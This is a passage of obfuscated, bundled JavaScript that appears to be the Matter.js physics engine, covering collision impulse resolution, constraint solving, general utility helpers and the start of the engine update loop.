_0x37484f['anglePrev'], _0x5b20de = _0x5307f4['position']['x'] - _0x5307f4['positionPrev']['x'], _0x57e5b8 = _0x5307f4['position']['y'] - _0x5307f4['positionPrev']['y'], _0xca00e2 = _0x5307f4['angle'] - _0x5307f4['anglePrev']; for (_0x111ddf = 0x0; _0x111ddf < _0x3d2b55; _0x111ddf++) { var _0x55d039 = _0x451ad5[_0x111ddf], _0x31e9e2 = _0x55d039['vertex'], _0x5d6d6f = _0x31e9e2['x'] - _0x37484f['position']['x'], _0x3d17a8 = _0x31e9e2['y'] - _0x37484f['position']['y'], _0x2b2bbc = _0x31e9e2['x'] - _0x5307f4['position']['x'], _0x568d90 = _0x31e9e2['y'] - _0x5307f4['position']['y'], _0x4ea868 = _0x3e4a01 - _0x3d17a8 * _0x1960b0 - (_0x5b20de - _0x568d90 * _0xca00e2), _0x3fa58b = _0x39ed9e + _0x5d6d6f * _0x1960b0 - (_0x57e5b8 + _0x2b2bbc * _0xca00e2), _0x74a83 = _0x303324 * _0x4ea868 + _0x507e55 * _0x3fa58b, _0x214aac = _0x24f64d * _0x4ea868 + _0x41dc06 * _0x3fa58b, _0x40c5f7 = _0x27a541['separation'] + _0x74a83, _0x237a1b = Math['min'](_0x40c5f7, 0x1), _0x3a54f4 = (_0x237a1b = _0x40c5f7 < 0x0 ? 0x0 : _0x237a1b) * _0x1a9625; _0x214aac < -_0x3a54f4 || _0x214aac > _0x3a54f4 ? (_0x226a8f = _0x214aac > 0x0 ? _0x214aac : -_0x214aac, (_0xd50d5d = _0x27a541['friction'] * (_0x214aac > 0x0 ? 0x1 : -0x1) * _0x194656) < -_0x226a8f ? _0xd50d5d = -_0x226a8f : _0xd50d5d > _0x226a8f && (_0xd50d5d = _0x226a8f)) : (_0xd50d5d = _0x214aac, _0x226a8f = _0x41fe8b); var _0x6d4193 = _0x5d6d6f * _0x507e55 - _0x3d17a8 * _0x303324, _0x3a3f76 = _0x2b2bbc * _0x507e55 - _0x568d90 * _0x303324, _0x596599 = _0x2105fb / (_0x260319 + _0x37484f['inverseInertia'] * _0x6d4193 * _0x6d4193 + _0x5307f4['inverseInertia'] * _0x3a3f76 * _0x3a3f76), _0x70cc7 = (0x1 + _0x27a541['restitution']) * _0x74a83 * _0x596599; if (_0xd50d5d *= _0x596599, _0x74a83 < _0x2e1e9a) _0x55d039['normalImpulse'] = 0x0; else { var _0x597da7 = _0x55d039['normalImpulse']; _0x55d039['normalImpulse'] += _0x70cc7, _0x55d039['normalImpulse'] > 0x0 && (_0x55d039['normalImpulse'] = 0x0), _0x70cc7 = _0x55d039['normalImpulse'] - _0x597da7; } if (_0x214aac < -_0x3d918d || _0x214aac > _0x3d918d) _0x55d039['tangentImpulse'] = 0x0; else { var _0x92bd59 = _0x55d039['tangentImpulse']; _0x55d039['tangentImpulse'] += _0xd50d5d, _0x55d039['tangentImpulse'] < -_0x226a8f && (_0x55d039['tangentImpulse'] = -_0x226a8f), _0x55d039['tangentImpulse'] > _0x226a8f && (_0x55d039['tangentImpulse'] = _0x226a8f), _0xd50d5d = _0x55d039['tangentImpulse'] - _0x92bd59; } var _0x39354c = _0x303324 * _0x70cc7 + _0x24f64d * _0xd50d5d, _0x544f9a = _0x507e55 * _0x70cc7 + _0x41dc06 * _0xd50d5d; _0x37484f['isStatic'] || _0x37484f['isSleeping'] || (_0x37484f['positionPrev']['x'] += _0x39354c * _0x37484f['inverseMass'], _0x37484f['positionPrev']['y'] += _0x544f9a * _0x37484f['inverseMass'], _0x37484f['anglePrev'] += (_0x5d6d6f * _0x544f9a - _0x3d17a8 * _0x39354c) * _0x37484f['inverseInertia']), _0x5307f4['isStatic'] || _0x5307f4['isSleeping'] || (_0x5307f4['positionPrev']['x'] -= _0x39354c * _0x5307f4['inverseMass'], _0x5307f4['positionPrev']['y'] -= _0x544f9a * _0x5307f4['inverseMass'], _0x5307f4['anglePrev'] -= (_0x2b2bbc * _0x544f9a - _0x568d90 * _0x39354c) * _0x5307f4['inverseInertia']); } } } }; }, 0xbc0c: (_0x16bba7, _0x1b0ada, _0x9f4ffa) => { var _0x46d247 = {}; _0x16bba7['exports'] = _0x46d247; var _0x353352 = _0x9f4ffa(0xa27e), _0x220839 = _0x9f4ffa(0x7bed), _0x41f142 = _0x9f4ffa(0xd16e), _0x87c27b = _0x9f4ffa(0x3d1f), _0x30837c = _0x9f4ffa(0x10437), _0x3141c4 = _0x9f4ffa(0xd09a); _0x46d247['_warming'] = 0.4, _0x46d247['_torqueDampen'] = 0x1, _0x46d247['_minLength'] = 0.000001, _0x46d247['create'] = function (_0xa521d3) { var _0x169c25 = _0xa521d3; _0x169c25['bodyA'] && !_0x169c25['pointA'] && (_0x169c25['pointA'] = { 'x': 0x0, 'y': 0x0 }), _0x169c25['bodyB'] && !_0x169c25['pointB'] && (_0x169c25['pointB'] = { 'x': 0x0, 'y': 0x0 }); var _0xe13f7 = _0x169c25['bodyA'] ? _0x220839['add'](_0x169c25['bodyA']['position'], _0x169c25['pointA']) : _0x169c25['pointA'], _0x3c82a1 = _0x169c25['bodyB'] ? _0x220839['add'](_0x169c25['bodyB']['position'], _0x169c25['pointB']) : _0x169c25['pointB'], _0x201806 = _0x220839['magnitude'](_0x220839['sub'](_0xe13f7, _0x3c82a1)); _0x169c25['length'] = void 0x0 !== _0x169c25['length'] ? _0x169c25['length'] : _0x201806, _0x169c25['id'] = _0x169c25['id'] || _0x3141c4['nextId'](), _0x169c25['label'] = _0x169c25['label'] || 'Constraint', _0x169c25['type'] = 'constraint', _0x169c25['stiffness'] = _0x169c25['stiffness'] || (_0x169c25['length'] > 0x0 ? 0x1 : 0.7), _0x169c25['damping'] = _0x169c25['damping'] || 0x0, _0x169c25['angularStiffness'] = _0x169c25['angularStiffness'] || 0x0, _0x169c25['angleA'] = _0x169c25['bodyA'] ? _0x169c25['bodyA']['angle'] : _0x169c25['angleA'], _0x169c25['angleB'] = _0x169c25['bodyB'] ? _0x169c25['bodyB']['angle'] : _0x169c25['angleB'], _0x169c25['plugin'] = {}; var _0x485546 = { 'visible': !0x0, 'type': 'line', 'anchors': !0x0, 'lineColor': null, 'lineOpacity': null, 'lineThickness': null, 'pinSize': null, 'anchorColor': null, 'anchorSize': null }; return 0x0 === _0x169c25['length'] && _0x169c25['stiffness'] > 0.1 ? (_0x485546['type'] = 'pin', _0x485546['anchors'] = !0x1) : _0x169c25['stiffness'] < 0.9 && (_0x485546['type'] = 'spring'), _0x169c25['render'] = _0x3141c4['extend'](_0x485546, _0x169c25['render']), _0x169c25; }, _0x46d247['preSolveAll'] = function (_0x40f53d) { for (var _0x5a84f8 = 0x0; _0x5a84f8 < _0x40f53d['length']; _0x5a84f8 += 0x1) { var _0x5b56c2 = _0x40f53d[_0x5a84f8], _0x2a8cbf = _0x5b56c2['constraintImpulse']; _0x5b56c2['isStatic'] || 0x0 === _0x2a8cbf['x'] && 0x0 === _0x2a8cbf['y'] && 0x0 === _0x2a8cbf['angle'] || (_0x5b56c2['position']['x'] += _0x2a8cbf['x'], _0x5b56c2['position']['y'] += _0x2a8cbf['y'], _0x5b56c2['angle'] += _0x2a8cbf['angle']); } }, _0x46d247['solveAll'] = function (_0x3a0d0c, _0x5bb69c) { for (var _0x3e4f5e = _0x3141c4['clamp'](_0x5bb69c / _0x3141c4['_baseDelta'], 0x0, 0x1), _0x5498a3 = 0x0; _0x5498a3 < _0x3a0d0c['length']; _0x5498a3 += 0x1) { var _0x3e52be = _0x3a0d0c[_0x5498a3], _0x507aef = !_0x3e52be['bodyA'] || _0x3e52be['bodyA'] && _0x3e52be['bodyA']['isStatic'], _0x447c20 = !_0x3e52be['bodyB'] || _0x3e52be['bodyB'] && _0x3e52be['bodyB']['isStatic']; (_0x507aef || _0x447c20) && _0x46d247['solve'](_0x3a0d0c[_0x5498a3], _0x3e4f5e); } for (_0x5498a3 = 0x0; _0x5498a3 < _0x3a0d0c['length']; _0x5498a3 += 0x1)_0x507aef = !(_0x3e52be = _0x3a0d0c[_0x5498a3])['bodyA'] || _0x3e52be['bodyA'] && _0x3e52be['bodyA']['isStatic'], _0x447c20 = !_0x3e52be['bodyB'] || _0x3e52be['bodyB'] && _0x3e52be['bodyB']['isStatic'], _0x507aef || _0x447c20 || _0x46d247['solve'](_0x3a0d0c[_0x5498a3], _0x3e4f5e); }, _0x46d247['solve'] = function (_0x5a6fb5, _0x2b69d4) { var _0x58f926 = _0x5a6fb5['bodyA'], _0xbbeed7 = _0x5a6fb5['bodyB'], _0x3cceb7 = _0x5a6fb5['pointA'], _0x4e4029 = _0x5a6fb5['pointB']; if (_0x58f926 || _0xbbeed7) { _0x58f926 && !_0x58f926['isStatic'] && (_0x220839['rotate'](_0x3cceb7, _0x58f926['angle'] - _0x5a6fb5['angleA'], _0x3cceb7), _0x5a6fb5['angleA'] = _0x58f926['angle']), _0xbbeed7 && !_0xbbeed7['isStatic'] && (_0x220839['rotate'](_0x4e4029, _0xbbeed7['angle'] - _0x5a6fb5['angleB'], _0x4e4029), _0x5a6fb5['angleB'] = _0xbbeed7['angle']); var _0x49ffe0 = _0x3cceb7, _0x33da68 = _0x4e4029; if (_0x58f926 && (_0x49ffe0 = _0x220839['add'](_0x58f926['position'], _0x3cceb7)), _0xbbeed7 && (_0x33da68 = _0x220839['add'](_0xbbeed7['position'], _0x4e4029)), _0x49ffe0 && _0x33da68) { var _0x4950f1 = _0x220839['sub'](_0x49ffe0, _0x33da68), _0x35bd71 = _0x220839['magnitude'](_0x4950f1); _0x35bd71 < _0x46d247['_minLength'] && (_0x35bd71 = _0x46d247['_minLength']); var _0x28917a, _0x136149, _0x4446a6, _0x1122e9, _0x2b831a, _0x4a020a = (_0x35bd71 - _0x5a6fb5['length']) / _0x35bd71, _0x43f7cf = _0x5a6fb5['stiffness'] >= 0x1 || 0x0 === _0x5a6fb5['length'] ? _0x5a6fb5['stiffness'] * _0x2b69d4 : _0x5a6fb5['stiffness'] * _0x2b69d4 * _0x2b69d4, _0xae9241 = _0x5a6fb5['damping'] * _0x2b69d4, _0x34b485 = _0x220839['mult'](_0x4950f1, _0x4a020a * _0x43f7cf), _0x2d4bb1 = (_0x58f926 ? _0x58f926['inverseMass'] : 0x0) + (_0xbbeed7 ? _0xbbeed7['inverseMass'] : 0x0), _0x2f3634 = _0x2d4bb1 + ((_0x58f926 ? _0x58f926['inverseInertia'] : 0x0) + (_0xbbeed7 ? _0xbbeed7['inverseInertia'] : 0x0)); if (_0xae9241 > 0x0) { var _0x58d258 = _0x220839['create'](); _0x4446a6 = _0x220839['div'](_0x4950f1, _0x35bd71), _0x2b831a = _0x220839['sub'](_0xbbeed7 && _0x220839['sub'](_0xbbeed7['position'], _0xbbeed7['positionPrev']) || _0x58d258, _0x58f926 && _0x220839['sub'](_0x58f926['position'], _0x58f926['positionPrev']) || _0x58d258), _0x1122e9 = _0x220839['dot'](_0x4446a6, _0x2b831a); } _0x58f926 && !_0x58f926['isStatic'] && (_0x136149 = _0x58f926['inverseMass'] / _0x2d4bb1, _0x58f926['constraintImpulse']['x'] -= _0x34b485['x'] * _0x136149, _0x58f926['constraintImpulse']['y'] -= _0x34b485['y'] * _0x136149, _0x58f926['position']['x'] -= _0x34b485['x'] * _0x136149, _0x58f926['position']['y'] -= _0x34b485['y'] * _0x136149, _0xae9241 > 0x0 && (_0x58f926['positionPrev']['x'] -= _0xae9241 * _0x4446a6['x'] * _0x1122e9 * _0x136149, _0x58f926['positionPrev']['y'] -= _0xae9241 * _0x4446a6['y'] * _0x1122e9 * _0x136149), _0x28917a = _0x220839['cross'](_0x3cceb7, _0x34b485) / _0x2f3634 * _0x46d247['_torqueDampen'] * _0x58f926['inverseInertia'] * (0x1 - _0x5a6fb5['angularStiffness']), _0x58f926['constraintImpulse']['angle'] -= _0x28917a, _0x58f926['angle'] -= _0x28917a), _0xbbeed7 && !_0xbbeed7['isStatic'] && (_0x136149 = _0xbbeed7['inverseMass'] / _0x2d4bb1, _0xbbeed7['constraintImpulse']['x'] += _0x34b485['x'] * _0x136149, _0xbbeed7['constraintImpulse']['y'] += _0x34b485['y'] * _0x136149, _0xbbeed7['position']['x'] += _0x34b485['x'] * _0x136149, _0xbbeed7['position']['y'] += _0x34b485['y'] * _0x136149, _0xae9241 > 0x0 && (_0xbbeed7['positionPrev']['x'] += _0xae9241 * _0x4446a6['x'] * _0x1122e9 * _0x136149, _0xbbeed7['positionPrev']['y'] += _0xae9241 * _0x4446a6['y'] * _0x1122e9 * _0x136149), _0x28917a = _0x220839['cross'](_0x4e4029, _0x34b485) / _0x2f3634 * _0x46d247['_torqueDampen'] * _0xbbeed7['inverseInertia'] * (0x1 - _0x5a6fb5['angularStiffness']), _0xbbeed7['constraintImpulse']['angle'] += _0x28917a, _0xbbeed7['angle'] += _0x28917a); } } }, _0x46d247['postSolveAll'] = function (_0x80c0d2) { for (var _0x37793e = 0x0; _0x37793e < _0x80c0d2['length']; _0x37793e++) { var _0x2c92c9 = _0x80c0d2[_0x37793e], _0x1dae70 = _0x2c92c9['constraintImpulse']; if (!(_0x2c92c9['isStatic'] || 0x0 === _0x1dae70['x'] && 0x0 === _0x1dae70['y'] && 0x0 === _0x1dae70['angle'])) { _0x41f142['set'](_0x2c92c9, !0x1); for (var _0x23bea3 = 0x0; _0x23bea3 < _0x2c92c9['parts']['length']; _0x23bea3++) { var _0x23284a = _0x2c92c9['parts'][_0x23bea3]; _0x353352['translate'](_0x23284a['vertices'], _0x1dae70), _0x23bea3 > 0x0 && (_0x23284a['position']['x'] += _0x1dae70['x'], _0x23284a['position']['y'] += _0x1dae70['y']), 0x0 !== _0x1dae70['angle'] && (_0x353352['rotate'](_0x23284a['vertices'], _0x1dae70['angle'], _0x2c92c9['position']), _0x30837c['rotate'](_0x23284a['axes'], _0x1dae70['angle']), _0x23bea3 > 0x0 && _0x220839['rotateAbout'](_0x23284a['position'], _0x1dae70['angle'], _0x2c92c9['position'], _0x23284a['position'])), _0x87c27b['update'](_0x23284a['bounds'], _0x23284a['vertices'], _0x2c92c9['velocity']); } _0x1dae70['angle'] *= _0x46d247['_warming'], _0x1dae70['x'] *= _0x46d247['_warming'], _0x1dae70['y'] *= _0x46d247['_warming']; } } }, _0x46d247['pointAWorld'] = function (_0x2cf673) { return { 'x': (_0x2cf673['bodyA'] ? _0x2cf673['bodyA']['position']['x'] : 0x0) + (_0x2cf673['pointA'] ? _0x2cf673['pointA']['x'] : 0x0), 'y': (_0x2cf673['bodyA'] ? _0x2cf673['bodyA']['position']['y'] : 0x0) + (_0x2cf673['pointA'] ? _0x2cf673['pointA']['y'] : 0x0) }; }, _0x46d247['pointBWorld'] = function (_0x551bbe) { return { 'x': (_0x551bbe['bodyB'] ? _0x551bbe['bodyB']['position']['x'] : 0x0) + (_0x551bbe['pointB'] ? _0x551bbe['pointB']['x'] : 0x0), 'y': (_0x551bbe['bodyB'] ? _0x551bbe['bodyB']['position']['y'] : 0x0) + (_0x551bbe['pointB'] ? _0x551bbe['pointB']['y'] : 0x0) }; }, _0x46d247['currentLength'] = function (_0xf87d4b) { var _0x43d5ea = (_0xf87d4b['bodyA'] ? _0xf87d4b['bodyA']['position']['x'] : 0x0) + (_0xf87d4b['pointA'] ? _0xf87d4b['pointA']['x'] : 0x0), _0x18724d = (_0xf87d4b['bodyA'] ? _0xf87d4b['bodyA']['position']['y'] : 0x0) + (_0xf87d4b['pointA'] ? _0xf87d4b['pointA']['y'] : 0x0), _0xd46cea = _0x43d5ea - ((_0xf87d4b['bodyB'] ? _0xf87d4b['bodyB']['position']['x'] : 0x0) + (_0xf87d4b['pointB'] ? _0xf87d4b['pointB']['x'] : 0x0)), _0x16d083 = _0x18724d - ((_0xf87d4b['bodyB'] ? _0xf87d4b['bodyB']['position']['y'] : 0x0) + (_0xf87d4b['pointB'] ? _0xf87d4b['pointB']['y'] : 0x0)); return Math['sqrt'](_0xd46cea * _0xd46cea + _0x16d083 * _0x16d083); }; }, 0xd09a: (_0x54ebb6, _0x560e25, _0x31ff59) => { var _0x44d258 = {}; _0x54ebb6['exports'] = _0x44d258, (function () { _0x44d258['_baseDelta'] = 0x3e8 / 0x3c, _0x44d258['_nextId'] = 0x0, _0x44d258['_seed'] = 0x0, _0x44d258['_nowStartTime'] = +new Date(), _0x44d258['_warnedOnce'] = {}, _0x44d258['_decomp'] = null, _0x44d258['extend'] = function (_0x1a0206, _0xcb1261) { var _0x2afb43, _0x5ab65e; 'boolean' == typeof _0xcb1261 ? (_0x2afb43 = 0x2, _0x5ab65e = _0xcb1261) : (_0x2afb43 = 0x1, _0x5ab65e = !0x0); for (var _0x37228f = _0x2afb43; _0x37228f < arguments['length']; _0x37228f++) { var _0x38e7a1 = arguments[_0x37228f]; if (_0x38e7a1) { for (var _0x250099 in _0x38e7a1) _0x5ab65e && _0x38e7a1[_0x250099] && _0x38e7a1[_0x250099]['constructor'] === Object ? _0x1a0206[_0x250099] && _0x1a0206[_0x250099]['constructor'] !== Object ? _0x1a0206[_0x250099] = _0x38e7a1[_0x250099] : (_0x1a0206[_0x250099] = _0x1a0206[_0x250099] || {}, _0x44d258['extend'](_0x1a0206[_0x250099], _0x5ab65e, _0x38e7a1[_0x250099])) : _0x1a0206[_0x250099] = _0x38e7a1[_0x250099]; } } return _0x1a0206; }, _0x44d258['clone'] = function (_0x7be5f2, _0x2735cc) { return _0x44d258['extend']({}, _0x2735cc, _0x7be5f2); }, _0x44d258['keys'] = function (_0x22d285) { if (Object['keys']) return Object['keys'](_0x22d285); var _0x2097f2 = []; for (var _0xaa602b in _0x22d285) _0x2097f2['push'](_0xaa602b); return _0x2097f2; }, _0x44d258['values'] = function (_0x392841) { var _0x5346b5 = []; if (Object['keys']) { for (var _0x348995 = Object['keys'](_0x392841), _0x2adf82 = 0x0; _0x2adf82 < _0x348995['length']; _0x2adf82++)_0x5346b5['push'](_0x392841[_0x348995[_0x2adf82]]); return _0x5346b5; } for (var _0x4e257e in _0x392841) _0x5346b5['push'](_0x392841[_0x4e257e]); return _0x5346b5; }, _0x44d258['get'] = function (_0x53f844, _0x38b827, _0x4c8d0c, _0x5d16a1) { _0x38b827 = _0x38b827['split']('.')['slice'](_0x4c8d0c, _0x5d16a1); for (var _0x582ed7 = 0x0; _0x582ed7 < _0x38b827['length']; _0x582ed7 += 0x1)_0x53f844 = _0x53f844[_0x38b827[_0x582ed7]]; return _0x53f844; }, _0x44d258['set'] = function (_0x1ffd71, _0x489913, _0x5948cb, _0x384c60, _0x26fe85) { var _0x195afc = _0x489913['split']('.')['slice'](_0x384c60, _0x26fe85); return _0x44d258['get'](_0x1ffd71, _0x489913, 0x0, -0x1)[_0x195afc[_0x195afc['length'] - 0x1]] = _0x5948cb, _0x5948cb; }, _0x44d258['shuffle'] = function (_0x53874b) { for (var _0x25ecf4 = _0x53874b['length'] - 0x1; _0x25ecf4 > 0x0; _0x25ecf4--) { var _0x5b67ca = Math['floor'](_0x44d258['random']() * (_0x25ecf4 + 0x1)), _0x345e0e = _0x53874b[_0x25ecf4]; _0x53874b[_0x25ecf4] = _0x53874b[_0x5b67ca], _0x53874b[_0x5b67ca] = _0x345e0e; } return _0x53874b; }, _0x44d258['choose'] = function (_0x5b1c43) { return _0x5b1c43[Math['floor'](_0x44d258['random']() * _0x5b1c43['length'])]; }, _0x44d258['isElement'] = function (_0x4ea8ca) { return 'undefined' != typeof HTMLElement ? _0x4ea8ca instanceof HTMLElement : !!(_0x4ea8ca && _0x4ea8ca['nodeType'] && _0x4ea8ca['nodeName']); }, _0x44d258['isArray'] = function (_0x44002c) { return '[object\x20Array]' === Object['prototype']['toString']['call'](_0x44002c); }, _0x44d258['isFunction'] = function (_0x238da0) { return 'function' == typeof _0x238da0; }, _0x44d258['isPlainObject'] = function (_0x382c4e) { return 'object' == typeof _0x382c4e && _0x382c4e['constructor'] === Object; }, _0x44d258['isString'] = function (_0x476661) { return '[object\x20String]' === toString['call'](_0x476661); }, _0x44d258['clamp'] = function (_0x5b4f74, _0x204135, _0x3bcae7) { return _0x5b4f74 < _0x204135 ? _0x204135 : _0x5b4f74 > _0x3bcae7 ? _0x3bcae7 : _0x5b4f74; }, _0x44d258['sign'] = function (_0x1f65ea) { return _0x1f65ea < 0x0 ? -0x1 : 0x1; }, _0x44d258['now'] = function () { if ('undefined' != typeof window && window['performance']) { if (window['performance']['now']) return window['performance']['now'](); if (window['performance']['webkitNow']) return window['performance']['webkitNow'](); } return Date['now'] ? Date['now']() : new Date() - _0x44d258['_nowStartTime']; }, _0x44d258['random'] = function (_0x30e7b8, _0x2df99a) { return _0x2df99a = void 0x0 !== _0x2df99a ? _0x2df99a : 0x1, (_0x30e7b8 = void 0x0 !== _0x30e7b8 ? _0x30e7b8 : 0x0) + _0x2ec2e3() * (_0x2df99a - _0x30e7b8); }; var _0x2ec2e3 = function () { return _0x44d258['_seed'] = (0x2455 * _0x44d258['_seed'] + 0xc091) % 0x38f40, _0x44d258['_seed'] / 0x38f40; }; _0x44d258['colorToNumber'] = function (_0x4cfe43) { return 0x3 == (_0x4cfe43 = _0x4cfe43['replace']('#', ''))['length'] && (_0x4cfe43 = _0x4cfe43['charAt'](0x0) + _0x4cfe43['charAt'](0x0) + _0x4cfe43['charAt'](0x1) + _0x4cfe43['charAt'](0x1) + _0x4cfe43['charAt'](0x2) + _0x4cfe43['charAt'](0x2)), parseInt(_0x4cfe43, 0x10); }, _0x44d258['logLevel'] = 0x1, _0x44d258['log'] = function () { console && _0x44d258['logLevel'] > 0x0 && _0x44d258['logLevel']; }, _0x44d258['info'] = function () { console && _0x44d258['logLevel'] > 0x0 && _0x44d258['logLevel']; }, _0x44d258['warn'] = function () { console && _0x44d258['logLevel'] > 0x0 && _0x44d258['logLevel']; }, _0x44d258['warnOnce'] = function () { var _0xb9af03 = Array['prototype']['slice']['call'](arguments)['join']('\x20'); _0x44d258['_warnedOnce'][_0xb9af03] || (_0x44d258['warn'](_0xb9af03), _0x44d258['_warnedOnce'][_0xb9af03] = !0x0); }, _0x44d258['deprecated'] = function (_0x2e3657, _0x1a5d53, _0x252109) { _0x2e3657[_0x1a5d53] = _0x44d258['chain'](function () { _0x44d258['warnOnce']('🔅\x20deprecated\x20🔅', _0x252109); }, _0x2e3657[_0x1a5d53]); }, _0x44d258['nextId'] = function () { return _0x44d258['_nextId']++; }, _0x44d258['indexOf'] = function (_0x2a0ea4, _0x1b7641) { if (_0x2a0ea4['indexOf']) return _0x2a0ea4['indexOf'](_0x1b7641); for (var _0x1a32ad = 0x0; _0x1a32ad < _0x2a0ea4['length']; _0x1a32ad++)if (_0x2a0ea4[_0x1a32ad] === _0x1b7641) return _0x1a32ad; return -0x1; }, _0x44d258['map'] = function (_0x2c087b, _0x536f4) { if (_0x2c087b['map']) return _0x2c087b['map'](_0x536f4); for (var _0x44a43c = [], _0x2e3ac7 = 0x0; _0x2e3ac7 < _0x2c087b['length']; _0x2e3ac7 += 0x1)_0x44a43c['push'](_0x536f4(_0x2c087b[_0x2e3ac7])); return _0x44a43c; }, _0x44d258['topologicalSort'] = function (_0x3fac41) { var _0x56d4f0 = [], _0x10dea9 = [], _0x4180d6 = []; for (var _0x377033 in _0x3fac41) _0x10dea9[_0x377033] || _0x4180d6[_0x377033] || _0x44d258['_topologicalSort'](_0x377033, _0x10dea9, _0x4180d6, _0x3fac41, _0x56d4f0); return _0x56d4f0; }, _0x44d258['_topologicalSort'] = function (_0xb8ddb2, _0x39bb8d, _0x1e27be, _0x288ebd, _0x2ecdd6) { var _0x13235a = _0x288ebd[_0xb8ddb2] || []; _0x1e27be[_0xb8ddb2] = !0x0; for (var _0x567ab8 = 0x0; _0x567ab8 < _0x13235a['length']; _0x567ab8 += 0x1) { var _0x2103a5 = _0x13235a[_0x567ab8]; _0x1e27be[_0x2103a5] || _0x39bb8d[_0x2103a5] || _0x44d258['_topologicalSort'](_0x2103a5, _0x39bb8d, _0x1e27be, _0x288ebd, _0x2ecdd6); } _0x1e27be[_0xb8ddb2] = !0x1, _0x39bb8d[_0xb8ddb2] = !0x0, _0x2ecdd6['push'](_0xb8ddb2); }, _0x44d258['chain'] = function () { for (var _0x32c7c0 = [], _0x5e25f9 = 0x0; _0x5e25f9 < arguments['length']; _0x5e25f9 += 0x1) { var _0x94c691 = arguments[_0x5e25f9]; _0x94c691['_chained'] ? _0x32c7c0['push']['apply'](_0x32c7c0, _0x94c691['_chained']) : _0x32c7c0['push'](_0x94c691); } var _0x25281b = function () { for (var _0x317028, _0x441d2d = new Array(arguments['length']), _0x1ccad3 = 0x0, _0x174544 = arguments['length']; _0x1ccad3 < _0x174544; _0x1ccad3++)_0x441d2d[_0x1ccad3] = arguments[_0x1ccad3]; for (_0x1ccad3 = 0x0; _0x1ccad3 < _0x32c7c0['length']; _0x1ccad3 += 0x1) { var _0x4d78b1 = _0x32c7c0[_0x1ccad3]['apply'](_0x317028, _0x441d2d); void 0x0 !== _0x4d78b1 && (_0x317028 = _0x4d78b1); } return _0x317028; }; return _0x25281b['_chained'] = _0x32c7c0, _0x25281b; }, _0x44d258['chainPathBefore'] = function (_0x1d511b, _0x296821, _0x2738ab) { return _0x44d258['set'](_0x1d511b, _0x296821, _0x44d258['chain'](_0x2738ab, _0x44d258['get'](_0x1d511b, _0x296821))); }, _0x44d258['chainPathAfter'] = function (_0x3bc960, _0x1e1fdf, _0x12ba52) { return _0x44d258['set'](_0x3bc960, _0x1e1fdf, _0x44d258['chain'](_0x44d258['get'](_0x3bc960, _0x1e1fdf), _0x12ba52)); }, _0x44d258['setDecomp'] = function (_0x44d600) { _0x44d258['_decomp'] = _0x44d600; }, _0x44d258['getDecomp'] = function () { var _0x3ce4fd = _0x44d258['_decomp']; try { _0x3ce4fd || 'undefined' == typeof window || (_0x3ce4fd = window['decomp']), _0x3ce4fd || void 0x0 === _0x31ff59['g'] || (_0x3ce4fd = _0x31ff59['g']['decomp']); } catch (_0x2bd230) { _0x3ce4fd = null; } return _0x3ce4fd; }; }()); }, 0xbd1d: (_0x390c23, _0x3edf65, _0x4f7b31) => { var _0x4d3e0f = {}; _0x390c23['exports'] = _0x4d3e0f; var _0xa538 = _0x4f7b31(0xd16e), _0x51fac3 = _0x4f7b31(0x102e0), _0x5e9e99 = _0x4f7b31(0x13dec), _0x484773 = _0x4f7b31(0x184e9), _0x55eec6 = _0x4f7b31(0x8be2), _0x113c45 = _0x4f7b31(0x10ee7), _0x79d33d = _0x4f7b31(0xbc0c), _0x52da0a = _0x4f7b31(0xd09a), _0x47abb9 = _0x4f7b31(0x5822); _0x4d3e0f['_deltaMax'] = 0x3e8 / 0x3c, _0x4d3e0f['create'] = function (_0x1f5139) { _0x1f5139 = _0x1f5139 || {}; var _0x4e964c = _0x52da0a['extend']({ 'positionIterations': 0x6, 'velocityIterations': 0x4, 'constraintIterations': 0x2, 'enableSleeping': !0x1, 'events': [], 'plugin': {}, 'gravity': { 'x': 0x0, 'y': 0x1, 'scale': 0.001 }, 'timing': { 'timestamp': 0x0, 'timeScale': 0x1, 'lastDelta': 0x0, 'lastElapsed': 0x0, 'lastUpdatesPerFrame': 0x0 } }, _0x1f5139); return _0x4e964c['world'] = _0x1f5139['world'] || _0x113c45['create']({ 'label': 'World' }), _0x4e964c['pairs'] = _0x1f5139['pairs'] || _0x484773['create'](), _0x4e964c['detector'] = _0x1f5139['detector'] || _0x5e9e99['create'](), _0x4e964c['detector']['pairs'] = _0x4e964c['pairs'], _0x4e964c['grid'] = { 'buckets': [] }, _0x4e964c['world']['gravity'] = _0x4e964c['gravity'], _0x4e964c['broadphase'] = _0x4e964c['grid'], _0x4e964c['metrics'] = {}, _0x4e964c; }, _0x4d3e0f['update'] = function (_0x1039f9, _0x5efafd) { var _0x1169f2, _0x1a498b = _0x52da0a['now'](), _0x1f6865 = _0x1039f9['world'], _0x242b22 = _0x1039f9['detector'], _0x36438b = _0x1039f9['pairs'], _0x5a6986 = _0x1039f9['timing'], _0x3d531f = _0x5a6986['timestamp']; _0x5efafd > _0x4d3e0f['_deltaMax'] && _0x52da0a['warnOnce']('Matter.Engine.update:\x20delta\x20argument\x20is\x20recommended\x20to\x20be\x20less\x20than\x20or\x20equal\x20to', _0x4d3e0f['_deltaMax']['toFixed'](0x3), 'ms.'), _0x5efafd = void 0x0 !== _0x5efafd ? _0x5efafd : _0x52da0a['_baseDelta'], _0x5efafd *= _0x5a6986['timeScale'], _0x5a6986['timestamp'] += _0x5efafd, _0x5a6986['lastDelta'] = _0x5efafd; var _0x5881fd = { 'timestamp': _0x5a6986['timestamp'], 'delta': _0x5efafd }; _0x55eec6['trigger'](_0x1039f9, 'beforeUpdate', _0x5881fd); var _0x90ee9 = _0x113c45['allBodies'](_0x1f6865), _0x54774e = _0x113c45['allConstraints'](_0x1f6865), _0x1722f2 = _0x113c45['allComposites'](_0x1f6865); for (_0x1f6865['isModified'] && (_0x5e9e99['setBodies'](_0x242b22, _0x90ee9), _0x113c45['setModified'](_0x1f6865, !0x1, !0x1, !0x0)), _0x1039f9['enableSleeping'] && _0xa538['update'](_0x90ee9, _0x5efafd), _0x4d3e0f['_bodiesApplyGravity'](_0x90ee9, _0x1039f9['gravity']), _0x4d3e0f['wrap'](_0x90ee9, _0x1722f2), _0x4d3e0f['attractors'](_0x90ee9), _0x5efafd > 0x0 && _0x4d3e0f['_bodiesUpdate'](_0x90ee9, _0x5efafd), _0x55eec6['trigger'](_0x1039f9, 'beforeSolve', _0x5881fd), _0x79d33d['preSolveAll'](_0x90ee9), _0x1169f2 = 0x0; _0x1169f2 < _0x1039f9['constraintIterations']; _0x1169f2++)_0x79d33d['solveAll'](_0x54774e, _0x5efafd); _0x79d33d['postSolveAll'](_0x90ee9); var _0x1a49c6 = 